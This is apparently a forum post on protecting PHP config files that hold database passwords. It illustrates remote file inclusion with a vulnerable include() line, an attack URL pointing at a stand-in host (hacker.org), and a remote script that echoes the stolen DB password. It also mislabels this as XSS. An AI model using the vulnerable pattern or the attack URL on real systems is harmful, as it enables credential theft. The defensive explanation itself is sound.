Ok i will tell some info about secure files.
There are several ways to secure a file:
1) Deny access thru .htaccess (Apache only)
2) Put the data in a serverside script (cgi, php, asp, etc.)
3) Don't put it on the server
Since #1 is apache only and #3 is not what you want they both are not the best solutions so the best way is #2.
If the server handles .php files (iow the PHP is "processed" and you don't see it like a .txt file) then we can use such file.
| PHP: |
<?php
// This data isn't echoed unless we want it to.
$db_password = "13456";
echo $db_password; // BAD IDEA
?>
|
However this doesn't protect against overwrite
| PHP: |
<?php
include('config.php');
$db_password = "456789"; // overwrite
|
This doesn't do much it overwrites and probably denies access. But we do find a issue and that's called XSS (Cross Serverside Scripting).
For example your code isn't properly coded and does
| PHP: |
include("$name.php");
|
$name isn't checked AND register_globals is on/used (like in CPG-Nuke 8.x) AND allow_url_fopen is on in php.ini (default)
Then a url like "mydomain.com/index.php?name=http://hacker.org/script" will open the exploit
| PHP: |
$name = 'http://hacker.org/script';
include("$name.php");
|
The script.php contains
| PHP: |
include('config.php');
echo $db_password;
|
Then it knows your DB password.
Most people
don't think about creating a seperate DB user in the cPanel -> MySQL admin, they just use their FTP/cPanel login details.
This results in a immediate "owned" server and they can do whatever they want with the server.
So to prevent this from happening it's best you create a DB user and "hook" that user to your database, then setup config.php to this user
| PHP: |
$dbuser = 'mydomain_user';
$dbpassword = '!dbP@ssw0rd';
|
This way they only have access to the webspace (thru PHP) and the database (that's why daily backups are important)
However some people are more skilled and could destroy the complete server if they want to.
I hope this explains that config.php isn't realy a security issue but the complete script system itself is your main concern. Also your own skills to create a seperate DB login is the issue.
Forum FAQ
Log in to check your private messages
Login
Search
Offline
